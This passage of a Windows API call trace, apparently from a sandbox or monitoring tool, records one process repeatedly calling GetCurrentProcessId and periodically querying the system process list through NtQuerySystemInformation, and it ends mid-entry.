GetCurrentProcessId () returned 0xbf4 [0298.809] GetCurrentProcessId () returned 0xbf4 [0298.809] GetCurrentProcessId () returned 0xbf4 [0298.809] GetCurrentProcessId () returned 0xbf4 [0298.809] GetCurrentProcessId () returned 0xbf4 [0298.809] GetCurrentProcessId () returned 0xbf4 [0298.809] GetCurrentProcessId () returned 0xbf4 [0298.809] GetCurrentProcessId () returned 0xbf4 [0298.809] GetCurrentProcessId () returned 0xbf4 [0298.809] GetCurrentProcessId () returned 0xbf4 [0298.809] GetCurrentProcessId () returned 0xbf4 [0298.809] GetCurrentProcessId () returned 0xbf4 [0298.810] GetCurrentProcessId () returned 0xbf4 [0298.810] GetCurrentProcessId () returned 0xbf4 [0298.810] GetCurrentProcessId () returned 0xbf4 [0298.810] GetCurrentProcessId () returned 0xbf4 [0298.810] GetCurrentProcessId () returned 0xbf4 [0298.810] GetCurrentProcessId () returned 0xbf4 [0298.810] GetCurrentProcessId () returned 0xbf4 [0298.810] GetCurrentProcessId () returned 0xbf4 [0298.810] GetCurrentProcessId () returned 0xbf4 [0298.810] GetCurrentProcessId () returned 0xbf4 [0298.810] GetCurrentProcessId () returned 0xbf4 [0298.810] GetCurrentProcessId () returned 0xbf4 [0298.810] GetCurrentProcessId () returned 0xbf4 [0298.810] GetCurrentProcessId () returned 0xbf4 [0298.810] GetCurrentProcessId () returned 0xbf4 [0298.810] GetCurrentProcessId () returned 0xbf4 [0298.810] GetCurrentProcessId () returned 0xbf4 [0298.810] GetCurrentProcessId () returned 0xbf4 [0298.810] GetCurrentProcessId () returned 0xbf4 [0298.810] GetCurrentProcessId () returned 0xbf4 [0298.810] GetCurrentProcessId () returned 0xbf4 [0298.810] GetCurrentProcessId () returned 0xbf4 [0298.810] GetCurrentProcessId () returned 0xbf4 [0298.810] GetCurrentProcessId () returned 0xbf4 [0298.810] GetCurrentProcessId () returned 0xbf4 [0298.810] GetCurrentProcessId () returned 0xbf4 [0298.810] GetCurrentProcessId () returned 0xbf4 [0298.811] GetCurrentProcessId () returned 0xbf4 [0298.811] GetCurrentProcessId () returned 0xbf4 [0298.811] GetCurrentProcessId () returned 0xbf4 [0298.811] GetCurrentProcessId () returned 0xbf4 [0298.811] GetCurrentProcessId () returned 0xbf4 [0298.811] GetCurrentProcessId () returned 0xbf4 [0298.811] GetCurrentProcessId () returned 0xbf4 [0298.811] GetCurrentProcessId () returned 0xbf4 [0298.811] GetCurrentProcessId () returned 0xbf4 [0298.811] GetCurrentProcessId () returned 0xbf4 [0298.811] GetCurrentProcessId () returned 0xbf4 [0298.811] GetCurrentProcessId () returned 0xbf4 [0298.811] GetCurrentProcessId () returned 0xbf4 [0298.811] GetCurrentProcessId () returned 0xbf4 [0298.811] GetCurrentProcessId () returned 0xbf4 [0298.811] GetCurrentProcessId () returned 0xbf4 [0298.811] GetCurrentProcessId () returned 0xbf4 [0298.811] GetCurrentProcessId () returned 0xbf4 [0298.811] GetCurrentProcessId () returned 0xbf4 [0298.811] GetCurrentProcessId () returned 0xbf4 [0298.811] GetCurrentProcessId () returned 0xbf4 [0299.320] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c890) returned 0x0 [0299.327] GetCurrentProcessId () returned 0xbf4 [0299.327] GetCurrentProcessId () returned 0xbf4 [0299.327] GetCurrentProcessId () returned 0xbf4 [0299.327] GetCurrentProcessId () returned 0xbf4 [0299.327] GetCurrentProcessId () returned 0xbf4 [0299.327] GetCurrentProcessId () returned 0xbf4 [0299.327] GetCurrentProcessId () returned 0xbf4 [0299.327] GetCurrentProcessId () returned 0xbf4 [0299.327] GetCurrentProcessId () returned 0xbf4 [0299.327] GetCurrentProcessId () returned 0xbf4 [0299.327] GetCurrentProcessId () returned 0xbf4 [0299.327] GetCurrentProcessId () returned 0xbf4 [0299.327] GetCurrentProcessId () returned 0xbf4 [0299.327] GetCurrentProcessId () returned 0xbf4 [0299.327] GetCurrentProcessId () returned 0xbf4 [0299.327] GetCurrentProcessId () returned 0xbf4 [0299.327] GetCurrentProcessId () returned 0xbf4 [0299.327] GetCurrentProcessId () returned 0xbf4 [0299.327] GetCurrentProcessId () returned 0xbf4 [0299.327] GetCurrentProcessId () returned 0xbf4 [0299.327] GetCurrentProcessId () returned 0xbf4 [0299.327] GetCurrentProcessId () returned 0xbf4 [0299.327] GetCurrentProcessId () returned 0xbf4 [0299.327] GetCurrentProcessId () returned 0xbf4 [0299.327] GetCurrentProcessId () returned 0xbf4 [0299.328] GetCurrentProcessId () returned 0xbf4 [0299.328] GetCurrentProcessId () returned 0xbf4 [0299.328] GetCurrentProcessId () returned 0xbf4 [0299.328] GetCurrentProcessId () returned 0xbf4 [0299.328] GetCurrentProcessId () returned 0xbf4 [0299.328] GetCurrentProcessId () returned 0xbf4 [0299.328] GetCurrentProcessId () returned 0xbf4 [0299.328] GetCurrentProcessId () returned 0xbf4 [0299.328] GetCurrentProcessId () returned 0xbf4 [0299.328] GetCurrentProcessId () returned 0xbf4 [0299.328] GetCurrentProcessId () returned 0xbf4 [0299.328] GetCurrentProcessId () returned 0xbf4 [0299.328] GetCurrentProcessId () returned 0xbf4 [0299.328] GetCurrentProcessId () returned 0xbf4 [0299.328] GetCurrentProcessId () returned 0xbf4 [0299.328] GetCurrentProcessId () returned 0xbf4 [0299.328] GetCurrentProcessId () returned 0xbf4 [0299.328] GetCurrentProcessId () returned 0xbf4 [0299.328] GetCurrentProcessId () returned 0xbf4 [0299.328] GetCurrentProcessId () returned 0xbf4 [0299.328] GetCurrentProcessId () returned 0xbf4 [0299.328] GetCurrentProcessId () returned 0xbf4 [0299.328] GetCurrentProcessId () returned 0xbf4 [0299.328] GetCurrentProcessId () returned 0xbf4 [0299.328] GetCurrentProcessId () returned 0xbf4 [0299.328] GetCurrentProcessId () returned 0xbf4 [0299.328] GetCurrentProcessId () returned 0xbf4 [0299.328] GetCurrentProcessId () returned 0xbf4 [0299.328] GetCurrentProcessId () returned 0xbf4 [0299.328] GetCurrentProcessId () returned 0xbf4 [0299.328] GetCurrentProcessId () returned 0xbf4 [0299.328] GetCurrentProcessId () returned 0xbf4 [0299.328] GetCurrentProcessId () returned 0xbf4 [0299.328] GetCurrentProcessId () returned 0xbf4 [0299.328] GetCurrentProcessId () returned 0xbf4 [0299.328] GetCurrentProcessId () returned 0xbf4 [0299.329] GetCurrentProcessId () returned 0xbf4 [0299.329] GetCurrentProcessId () returned 0xbf4 [0299.329] GetCurrentProcessId () returned 0xbf4 [0299.329] GetCurrentProcessId () returned 0xbf4 [0299.329] GetCurrentProcessId () returned 0xbf4 [0299.329] GetCurrentProcessId () returned 0xbf4 [0299.329] GetCurrentProcessId () returned 0xbf4 [0299.329] GetCurrentProcessId () returned 0xbf4 [0299.329] GetCurrentProcessId () returned 0xbf4 [0299.329] GetCurrentProcessId () returned 0xbf4 [0299.329] GetCurrentProcessId () returned 0xbf4 [0299.329] GetCurrentProcessId () returned 0xbf4 [0299.329] GetCurrentProcessId () returned 0xbf4 [0299.329] GetCurrentProcessId () returned 0xbf4 [0299.329] GetCurrentProcessId () returned 0xbf4 [0299.329] GetCurrentProcessId () returned 0xbf4 [0299.329] GetCurrentProcessId () returned 0xbf4 [0299.329] GetCurrentProcessId () returned 0xbf4 [0299.329] GetCurrentProcessId () returned 0xbf4 [0299.329] GetCurrentProcessId () returned 0xbf4 [0299.329] GetCurrentProcessId () returned 0xbf4 [0299.329] GetCurrentProcessId () returned 0xbf4 [0299.329] GetCurrentProcessId () returned 0xbf4 [0299.329] GetCurrentProcessId () returned 0xbf4 [0299.329] GetCurrentProcessId () returned 0xbf4 [0299.329] GetCurrentProcessId () returned 0xbf4 [0299.329] GetCurrentProcessId () returned 0xbf4 [0299.329] GetCurrentProcessId () returned 0xbf4 [0299.329] GetCurrentProcessId () returned 0xbf4 [0299.329] GetCurrentProcessId () returned 0xbf4 [0299.329] GetCurrentProcessId () returned 0xbf4 [0299.329] GetCurrentProcessId () returned 0xbf4 [0299.329] GetCurrentProcessId () returned 0xbf4 [0299.329] GetCurrentProcessId () returned 0xbf4 [0299.329] GetCurrentProcessId () returned 0xbf4 [0299.330] GetCurrentProcessId () returned 0xbf4 [0299.330] GetCurrentProcessId () returned 0xbf4 [0299.330] GetCurrentProcessId () returned 0xbf4 [0299.330] GetCurrentProcessId () returned 0xbf4 [0299.330] GetCurrentProcessId () returned 0xbf4 [0299.330] GetCurrentProcessId () returned 0xbf4 [0299.330] GetCurrentProcessId () returned 0xbf4 [0299.330] GetCurrentProcessId () returned 0xbf4 [0299.330] GetCurrentProcessId () returned 0xbf4 [0299.330] GetCurrentProcessId () returned 0xbf4 [0299.845] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c890) returned 0x0 [0299.886] GetCurrentProcessId () returned 0xbf4 [0299.886] GetCurrentProcessId () returned 0xbf4 [0299.886] GetCurrentProcessId () returned 0xbf4 [0299.886] GetCurrentProcessId () returned 0xbf4 [0299.886] GetCurrentProcessId () returned 0xbf4 [0299.886] GetCurrentProcessId () returned 0xbf4 [0299.886] GetCurrentProcessId () returned 0xbf4 [0299.886] GetCurrentProcessId () returned 0xbf4 [0299.886] GetCurrentProcessId () returned 0xbf4 [0299.886] GetCurrentProcessId () returned 0xbf4 [0299.886] GetCurrentProcessId () returned 0xbf4 [0299.886] GetCurrentProcessId () returned 0xbf4 [0299.886] GetCurrentProcessId () returned 0xbf4 [0299.886] GetCurrentProcessId () returned 0xbf4 [0299.886] GetCurrentProcessId () returned 0xbf4 [0299.886] GetCurrentProcessId () returned 0xbf4 [0299.886] GetCurrentProcessId () returned 0xbf4 [0299.886] GetCurrentProcessId () returned 0xbf4 [0299.886] GetCurrentProcessId () returned 0xbf4 [0299.886] GetCurrentProcessId () returned 0xbf4 [0299.886] GetCurrentProcessId () returned 0xbf4 [0299.886] GetCurrentProcessId () returned 0xbf4 [0299.886] GetCurrentProcessId () returned 0xbf4 [0299.886] GetCurrentProcessId () returned 0xbf4 [0299.886] GetCurrentProcessId () returned 0xbf4 [0299.886] GetCurrentProcessId () returned 0xbf4 [0299.886] GetCurrentProcessId () returned 0xbf4 [0299.886] GetCurrentProcessId () returned 0xbf4 [0299.886] GetCurrentProcessId () returned 0xbf4 [0299.886] GetCurrentProcessId () returned 0xbf4 [0299.887] GetCurrentProcessId () returned 0xbf4 [0299.887] GetCurrentProcessId () returned 0xbf4 [0299.887] GetCurrentProcessId () returned 0xbf4 [0299.887] GetCurrentProcessId () returned 0xbf4 [0299.887] GetCurrentProcessId () returned 0xbf4 [0299.887] GetCurrentProcessId () returned 0xbf4 [0299.887] GetCurrentProcessId () returned 0xbf4 [0299.887] GetCurrentProcessId () returned 0xbf4 [0299.887] GetCurrentProcessId () returned 0xbf4 [0299.887] GetCurrentProcessId () returned 0xbf4 [0299.887] GetCurrentProcessId () returned 0xbf4 [0299.887] GetCurrentProcessId () returned 0xbf4 [0299.887] GetCurrentProcessId () returned 0xbf4 [0299.887] GetCurrentProcessId () returned 0xbf4 [0299.887] GetCurrentProcessId () returned 0xbf4 [0299.887] GetCurrentProcessId () returned 0xbf4 [0299.887] GetCurrentProcessId () returned 0xbf4 [0299.887] GetCurrentProcessId () returned 0xbf4 [0299.887] GetCurrentProcessId () returned 0xbf4 [0299.887] GetCurrentProcessId () returned 0xbf4 [0299.887] GetCurrentProcessId () returned 0xbf4 [0299.887] GetCurrentProcessId () returned 0xbf4 [0299.887] GetCurrentProcessId () returned 0xbf4 [0299.887] GetCurrentProcessId () returned 0xbf4 [0299.887] GetCurrentProcessId () returned 0xbf4 [0299.887] GetCurrentProcessId () returned 0xbf4 [0299.887] GetCurrentProcessId () returned 0xbf4 [0299.887] GetCurrentProcessId () returned 0xbf4 [0299.887] GetCurrentProcessId () returned 0xbf4 [0299.887] GetCurrentProcessId () returned 0xbf4 [0299.887] GetCurrentProcessId () returned 0xbf4 [0299.887] GetCurrentProcessId () returned 0xbf4 [0299.887] GetCurrentProcessId () returned 0xbf4 [0299.887] GetCurrentProcessId () returned 0xbf4 [0299.887] GetCurrentProcessId () returned 0xbf4 [0299.887] GetCurrentProcessId () returned 0xbf4 [0299.887] GetCurrentProcessId () returned 0xbf4 [0299.887] GetCurrentProcessId () returned 0xbf4 [0299.888] GetCurrentProcessId () returned 0xbf4 [0299.888] GetCurrentProcessId () returned 0xbf4 [0299.888] GetCurrentProcessId () returned 0xbf4 [0299.888] GetCurrentProcessId () returned 0xbf4 [0299.888] GetCurrentProcessId () returned 0xbf4 [0299.888] GetCurrentProcessId () returned 0xbf4 [0299.888] GetCurrentProcessId () returned 0xbf4 [0299.888] GetCurrentProcessId () returned 0xbf4 [0299.888] GetCurrentProcessId () returned 0xbf4 [0299.888] GetCurrentProcessId () returned 0xbf4 [0299.888] GetCurrentProcessId () returned 0xbf4 [0299.888] GetCurrentProcessId () returned 0xbf4 [0299.888] GetCurrentProcessId () returned 0xbf4 [0299.888] GetCurrentProcessId () returned 0xbf4 [0299.888] GetCurrentProcessId () returned 0xbf4 [0299.888] GetCurrentProcessId () returned 0xbf4 [0299.888] GetCurrentProcessId () returned 0xbf4 [0299.888] GetCurrentProcessId () returned 0xbf4 [0299.888] GetCurrentProcessId () returned 0xbf4 [0299.888] GetCurrentProcessId () returned 0xbf4 [0299.888] GetCurrentProcessId () returned 0xbf4 [0299.888] GetCurrentProcessId () returned 0xbf4 [0299.888] GetCurrentProcessId () returned 0xbf4 [0299.888] GetCurrentProcessId () returned 0xbf4 [0299.888] GetCurrentProcessId () returned 0xbf4 [0299.888] GetCurrentProcessId () returned 0xbf4 [0299.888] GetCurrentProcessId () returned 0xbf4 [0299.888] GetCurrentProcessId () returned 0xbf4 [0299.888] GetCurrentProcessId () returned 0xbf4 [0299.888] GetCurrentProcessId () returned 0xbf4 [0299.888] GetCurrentProcessId () returned 0xbf4 [0299.888] GetCurrentProcessId () returned 0xbf4 [0299.888] GetCurrentProcessId () returned 0xbf4 [0299.888] GetCurrentProcessId () returned 0xbf4 [0299.888] GetCurrentProcessId () returned 0xbf4 [0299.888] GetCurrentProcessId () returned 0xbf4 [0299.888] GetCurrentProcessId () returned 0xbf4 [0299.889] GetCurrentProcessId () returned 0xbf4 [0300.393] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c8e0) returned 0x0 [0300.399] GetCurrentProcessId () returned 0xbf4 [0300.399] GetCurrentProcessId () returned 0xbf4 [0300.399] GetCurrentProcessId () returned 0xbf4 [0300.399] GetCurrentProcessId () returned 0xbf4 [0300.399] GetCurrentProcessId () returned 0xbf4 [0300.399] GetCurrentProcessId () returned 0xbf4 [0300.399] GetCurrentProcessId () returned 0xbf4 [0300.400] GetCurrentProcessId () returned 0xbf4 [0300.400] GetCurrentProcessId () returned 0xbf4 [0300.400] GetCurrentProcessId () returned 0xbf4 [0300.400] GetCurrentProcessId () returned 0xbf4 [0300.400] GetCurrentProcessId () returned 0xbf4 [0300.400] GetCurrentProcessId () returned 0xbf4 [0300.400] GetCurrentProcessId () returned 0xbf4 [0300.400] GetCurrentProcessId () returned 0xbf4 [0300.400] GetCurrentProcessId () returned 0xbf4 [0300.400] GetCurrentProcessId () returned 0xbf4 [0300.400] GetCurrentProcessId () returned 0xbf4 [0300.400] GetCurrentProcessId () returned 0xbf4 [0300.400] GetCurrentProcessId () returned 0xbf4 [0300.400] GetCurrentProcessId () returned 0xbf4 [0300.400] GetCurrentProcessId () returned 0xbf4 [0300.400] GetCurrentProcessId () returned 0xbf4 [0300.400] GetCurrentProcessId () returned 0xbf4 [0300.400] GetCurrentProcessId () returned 0xbf4 [0300.400] GetCurrentProcessId () returned 0xbf4 [0300.400] GetCurrentProcessId () returned 0xbf4 [0300.400] GetCurrentProcessId () returned 0xbf4 [0300.400] GetCurrentProcessId () returned 0xbf4 [0300.400] GetCurrentProcessId () returned 0xbf4 [0300.400] GetCurrentProcessId () returned 0xbf4 [0300.400] GetCurrentProcessId () returned 0xbf4 [0300.400] GetCurrentProcessId () returned 0xbf4 [0300.400] GetCurrentProcessId () returned 0xbf4 [0300.400] GetCurrentProcessId () returned 0xbf4 [0300.400] GetCurrentProcessId () returned 0xbf4 [0300.400] GetCurrentProcessId () returned 0xbf4 [0300.400] GetCurrentProcessId () returned 0xbf4 [0300.400] GetCurrentProcessId () returned 0xbf4 [0300.401] GetCurrentProcessId () returned 0xbf4 [0300.401] GetCurrentProcessId () returned 0xbf4 [0300.401] GetCurrentProcessId () returned 0xbf4 [0300.401] GetCurrentProcessId () returned 0xbf4 [0300.401] GetCurrentProcessId () returned 0xbf4 [0300.401] GetCurrentProcessId () returned 0xbf4 [0300.401] GetCurrentProcessId () returned 0xbf4 [0300.401] GetCurrentProcessId () returned 0xbf4 [0300.401] GetCurrentProcessId () returned 0xbf4 [0300.401] GetCurrentProcessId () returned 0xbf4 [0300.401] GetCurrentProcessId () returned 0xbf4 [0300.401] GetCurrentProcessId () returned 0xbf4 [0300.401] GetCurrentProcessId () returned 0xbf4 [0300.401] GetCurrentProcessId () returned 0xbf4 [0300.401] GetCurrentProcessId () returned 0xbf4 [0300.401] GetCurrentProcessId () returned 0xbf4 [0300.401] GetCurrentProcessId () returned 0xbf4 [0300.401] GetCurrentProcessId () returned 0xbf4 [0300.401] GetCurrentProcessId () returned 0xbf4 [0300.401] GetCurrentProcessId () returned 0xbf4 [0300.401] GetCurrentProcessId () returned 0xbf4 [0300.401] GetCurrentProcessId () returned 0xbf4 [0300.401] GetCurrentProcessId () returned 0xbf4 [0300.401] GetCurrentProcessId () returned 0xbf4 [0300.401] GetCurrentProcessId () returned 0xbf4 [0300.401] GetCurrentProcessId () returned 0xbf4 [0300.401] GetCurrentProcessId () returned 0xbf4 [0300.401] GetCurrentProcessId () returned 0xbf4 [0300.401] GetCurrentProcessId () returned 0xbf4 [0300.401] GetCurrentProcessId () returned 0xbf4 [0300.401] GetCurrentProcessId () returned 0xbf4 [0300.401] GetCurrentProcessId () returned 0xbf4 [0300.401] GetCurrentProcessId () returned 0xbf4 [0300.401] GetCurrentProcessId () returned 0xbf4 [0300.401] GetCurrentProcessId () returned 0xbf4 [0300.401] GetCurrentProcessId () returned 0xbf4 [0300.402] GetCurrentProcessId () returned 0xbf4 [0300.402] GetCurrentProcessId () returned 0xbf4 [0300.402] GetCurrentProcessId () returned 0xbf4 [0300.402] GetCurrentProcessId () returned 0xbf4 [0300.402] GetCurrentProcessId () returned 0xbf4 [0300.402] GetCurrentProcessId () returned 0xbf4 [0300.402] GetCurrentProcessId () returned 0xbf4 [0300.402] GetCurrentProcessId () returned 0xbf4 [0300.402] GetCurrentProcessId () returned 0xbf4 [0300.402] GetCurrentProcessId () returned 0xbf4 [0300.402] GetCurrentProcessId () returned 0xbf4 [0300.402] GetCurrentProcessId () returned 0xbf4 [0300.402] GetCurrentProcessId () returned 0xbf4 [0300.402] GetCurrentProcessId () returned 0xbf4 [0300.402] GetCurrentProcessId () returned 0xbf4 [0300.402] GetCurrentProcessId () returned 0xbf4 [0300.402] GetCurrentProcessId () returned 0xbf4 [0300.402] GetCurrentProcessId () returned 0xbf4 [0300.402] GetCurrentProcessId () returned 0xbf4 [0300.402] GetCurrentProcessId () returned 0xbf4 [0300.402] GetCurrentProcessId () returned 0xbf4 [0300.402] GetCurrentProcessId () returned 0xbf4 [0300.402] GetCurrentProcessId () returned 0xbf4 [0300.402] GetCurrentProcessId () returned 0xbf4 [0300.402] GetCurrentProcessId () returned 0xbf4 [0300.402] GetCurrentProcessId () returned 0xbf4 [0300.402] GetCurrentProcessId () returned 0xbf4 [0300.402] GetCurrentProcessId () returned 0xbf4 [0300.402] GetCurrentProcessId () returned 0xbf4 [0300.402] GetCurrentProcessId () returned 0xbf4 [0300.402] GetCurrentProcessId () returned 0xbf4 [0300.928] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c930) returned 0x0 [0300.931] GetCurrentProcessId () returned 0xbf4 [0300.931] GetCurrentProcessId () returned 0xbf4 [0300.931] GetCurrentProcessId () returned 0xbf4 [0300.931] GetCurrentProcessId () returned 0xbf4 [0300.931] GetCurrentProcessId () returned 0xbf4 [0300.932] GetCurrentProcessId () returned 0xbf4 [0300.932] GetCurrentProcessId () returned 0xbf4 [0300.932] GetCurrentProcessId () returned 0xbf4 [0300.932] GetCurrentProcessId () returned 0xbf4 [0300.932] GetCurrentProcessId () returned 0xbf4 [0300.932] GetCurrentProcessId () returned 0xbf4 [0300.932] GetCurrentProcessId () returned 0xbf4 [0300.932] GetCurrentProcessId () returned 0xbf4 [0300.932] GetCurrentProcessId () returned 0xbf4 [0300.932] GetCurrentProcessId () returned 0xbf4 [0300.932] GetCurrentProcessId () returned 0xbf4 [0300.932] GetCurrentProcessId () returned 0xbf4 [0300.932] GetCurrentProcessId () returned 0xbf4 [0300.932] GetCurrentProcessId () returned 0xbf4 [0300.932] GetCurrentProcessId () returned 0xbf4 [0300.932] GetCurrentProcessId () returned 0xbf4 [0300.932] GetCurrentProcessId () returned 0xbf4 [0300.932] GetCurrentProcessId () returned 0xbf4 [0300.932] GetCurrentProcessId () returned 0xbf4 [0300.932] GetCurrentProcessId () returned 0xbf4 [0300.932] GetCurrentProcessId () returned 0xbf4 [0300.932] GetCurrentProcessId () returned 0xbf4 [0300.932] GetCurrentProcessId () returned 0xbf4 [0300.932] GetCurrentProcessId () returned 0xbf4 [0300.932] GetCurrentProcessId () returned 0xbf4 [0300.932] GetCurrentProcessId () returned 0xbf4 [0300.932] GetCurrentProcessId () returned 0xbf4 [0300.932] GetCurrentProcessId () returned 0xbf4 [0300.933] GetCurrentProcessId () returned 0xbf4 [0300.933] GetCurrentProcessId () returned 0xbf4 [0300.933] GetCurrentProcessId () returned 0xbf4 [0300.933] GetCurrentProcessId () returned 0xbf4 [0300.933] GetCurrentProcessId () returned 0xbf4 [0300.933] GetCurrentProcessId () returned 0xbf4 [0300.933] GetCurrentProcessId () returned 0xbf4 [0300.933] GetCurrentProcessId () returned 0xbf4 [0300.933] GetCurrentProcessId () returned 0xbf4 [0300.933] GetCurrentProcessId () returned 0xbf4 [0300.933] GetCurrentProcessId () returned 0xbf4 [0300.933] GetCurrentProcessId () returned 0xbf4 [0300.933] GetCurrentProcessId () returned 0xbf4 [0300.933] GetCurrentProcessId () returned 0xbf4 [0300.933] GetCurrentProcessId () returned 0xbf4 [0300.933] GetCurrentProcessId () returned 0xbf4 [0300.933] GetCurrentProcessId () returned 0xbf4 [0300.933] GetCurrentProcessId () returned 0xbf4 [0300.933] GetCurrentProcessId () returned 0xbf4 [0300.933] GetCurrentProcessId () returned 0xbf4 [0300.933] GetCurrentProcessId () returned 0xbf4 [0300.933] GetCurrentProcessId () returned 0xbf4 [0300.933] GetCurrentProcessId () returned 0xbf4 [0300.933] GetCurrentProcessId () returned 0xbf4 [0300.933] GetCurrentProcessId () returned 0xbf4 [0300.933] GetCurrentProcessId () returned 0xbf4 [0300.933] GetCurrentProcessId () returned 0xbf4 [0300.933] GetCurrentProcessId () returned 0xbf4 [0300.934] GetCurrentProcessId () returned 0xbf4 [0300.934] GetCurrentProcessId () returned 0xbf4 [0300.934] GetCurrentProcessId () returned 0xbf4 [0300.934] GetCurrentProcessId () returned 0xbf4 [0300.934] GetCurrentProcessId () returned 0xbf4 [0300.934] GetCurrentProcessId () returned 0xbf4 [0300.934] GetCurrentProcessId () returned 0xbf4 [0300.934] GetCurrentProcessId () returned 0xbf4 [0300.934] GetCurrentProcessId () returned 0xbf4 [0300.934] GetCurrentProcessId () returned 0xbf4 [0300.934] GetCurrentProcessId () returned 0xbf4 [0300.934] GetCurrentProcessId () returned 0xbf4 [0300.934] GetCurrentProcessId () returned 0xbf4 [0300.934] GetCurrentProcessId () returned 0xbf4 [0300.934] GetCurrentProcessId () returned 0xbf4 [0300.934] GetCurrentProcessId () returned 0xbf4 [0300.934] GetCurrentProcessId () returned 0xbf4 [0300.934] GetCurrentProcessId () returned 0xbf4 [0300.934] GetCurrentProcessId () returned 0xbf4 [0300.934] GetCurrentProcessId () returned 0xbf4 [0300.934] GetCurrentProcessId () returned 0xbf4 [0300.934] GetCurrentProcessId () returned 0xbf4 [0300.934] GetCurrentProcessId () returned 0xbf4 [0300.934] GetCurrentProcessId () returned 0xbf4 [0300.934] GetCurrentProcessId () returned 0xbf4 [0300.934] GetCurrentProcessId () returned 0xbf4 [0300.934] GetCurrentProcessId () returned 0xbf4 [0300.935] GetCurrentProcessId () returned 0xbf4 [0300.935] GetCurrentProcessId () returned 0xbf4 [0300.935] GetCurrentProcessId () returned 0xbf4 [0300.935] GetCurrentProcessId () returned 0xbf4 [0300.935] GetCurrentProcessId () returned 0xbf4 [0300.935] GetCurrentProcessId () returned 0xbf4 [0300.935] GetCurrentProcessId () returned 0xbf4 [0300.935] GetCurrentProcessId () returned 0xbf4 [0300.935] GetCurrentProcessId () returned 0xbf4 [0300.935] GetCurrentProcessId () returned 0xbf4 [0300.935] GetCurrentProcessId () returned 0xbf4 [0300.935] GetCurrentProcessId () returned 0xbf4 [0300.935] GetCurrentProcessId () returned 0xbf4 [0300.935] GetCurrentProcessId () returned 0xbf4 [0300.935] GetCurrentProcessId () returned 0xbf4 [0300.935] GetCurrentProcessId () returned 0xbf4 [0300.935] GetCurrentProcessId () returned 0xbf4 [0300.935] GetCurrentProcessId () returned 0xbf4 [0301.439] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b6beb00 | out: SystemInformation=0x1289b270, ResultLength=0x1b6beb00*=0x1c8e0) returned 0x0 [0301.441] GetCurrentProcessId () returned 0xbf4 [0301.441] GetCurrentProcessId () returned 0xbf4 [0301.442] GetCurrentProcessId () returned 0xbf4 [0301.442] GetCurrentProcessId () returned 0xbf4 [0301.442] GetCurrentProcessId () returned 0xbf4 [0301.442] GetCurrentProcessId () returned 0xbf4 [0301.442] GetCurrentProcessId () returned 0xbf4 [0301.442] GetCurrentProcessId () returned 0xbf4 [0301.442] GetCurrentProcessId () returned 0xbf4 [0301.442] GetCurrentProcessId () returned 0xbf4 [0301.442] GetCurrentProcessId () returned 0xbf4 [0301.442] GetCurrentProcessId () returned 0xbf4 [0301.442] GetCurrentProcessId () returned 0xbf4 [0301.442] GetCurrentProcessId () returned 0xbf4 [0301.442] GetCurrentProcessId () returned 0xbf4 [0301.442] GetCurrentProcessId () returned 0xbf4 [0301.442] GetCurrentProcessId () returned 0xbf4 [0301.442] GetCurrentProcessId () returned 0xbf4 [0301.442] GetCurrentProcessId () returned 0xbf4 [0301.442] GetCurrentProcessId () returned 0xbf4 [0301.442] GetCurrentProcessId () returned 0xbf4 [0301.442] GetCurrentProcessId () returned 0xbf4 [0301.442] GetCurrentProcessId () returned 0xbf4 [0301.442] GetCurrentProcessId () returned 0xbf4 [0301.442] GetCurrentProcessId () returned 0xbf4 [0301.442] GetCurrentProcessId () returned 0xbf4 [0301.442] GetCurrentProcessId () returned 0xbf4 [0301.442] GetCurrentProcessId () returned 0xbf4 [0301.442] GetCurrentProcessId () returned 0xbf4 [0301.442] GetCurrentProcessId () returned 0xbf4 [0301.442] GetCurrentProcessId () returned 0xbf4 [0301.442] GetCurrentProcessId () returned 0xbf4 [0301.442] GetCurrentProcessId () returned 0xbf4 [0301.442] GetCurrentProcessId () returned 0xbf4 [0301.442] GetCurrentProcessId () returned 0xbf4 [0301.442] GetCurrentProcessId () returned 0xbf4 [0301.442] GetCurrentProcessId () returned 0xbf4 [0301.442] GetCurrentProcessId () returned 0xbf4 [0301.442] GetCurrentProcessId () returned 0xbf4 [0301.443] GetCurrentProcessId () returned 0xbf4 [0301.443] GetCurrentProcessId () returned 0xbf4 [0301.443] GetCurrentProcessId () returned 0xbf4 [0301.443] GetCurrentProcessId () returned 0xbf4 [0301.443] GetCurrentProcessId () returned 0xbf4 [0301.443] GetCurrentProcessId () returned 0xbf4 [0301.443] GetCurrentProcessId () returned 0xbf4 [0301.443] GetCurrentProcessId () returned 0xbf4 [0301.443] GetCurrentProcessId () returned 0xbf4 [0301.443] GetCurrentProcessId () returned 0xbf4 [0301.443] GetCurrentProcessId () returned 0xbf4 [0301.443] GetCurrentProcessId () returned 0xbf4 [0301.443] GetCurrentProcessId () returned 0xbf4 [0301.443] GetCurrentProcessId () returned 0xbf4 [0301.443] GetCurrentProcessId () returned 0xbf4 [0301.443] GetCurrentProcessId () returned 0xbf4 [0301.443] GetCurrentProcessId () returned 0xbf4 [0301.443] GetCurrentProcessId () returned 0xbf4 [0301.443] GetCurrentProcessId () returned 0xbf4 [0301.443] GetCurrentProcessId () returned 0xbf4 [0301.443] GetCurrentProcessId () returned 0xbf4 [0301.443] GetCurrentProcessId () returned 0xbf4 [0301.443] GetCurrentProcessId () returned 0xbf4 [0301.443] GetCurrentProcessId () returned 0xbf4 [0301.443] GetCurrentProcessId () returned 0xbf4 [0301.443] GetCurrentProcessId () returned 0xbf4 [0301.443] GetCurrentProcessId () returned 0xbf4 [0301.443] GetCurrentProcessId () returned 0xbf4 [0301.443] GetCurrentProcessId () returned 0xbf4 [0301.443] GetCurrentProcessId () returned 0xbf4 [0301.443] GetCurrentProcessId () returned 0xbf4 [0301.443] GetCurrentProcessId 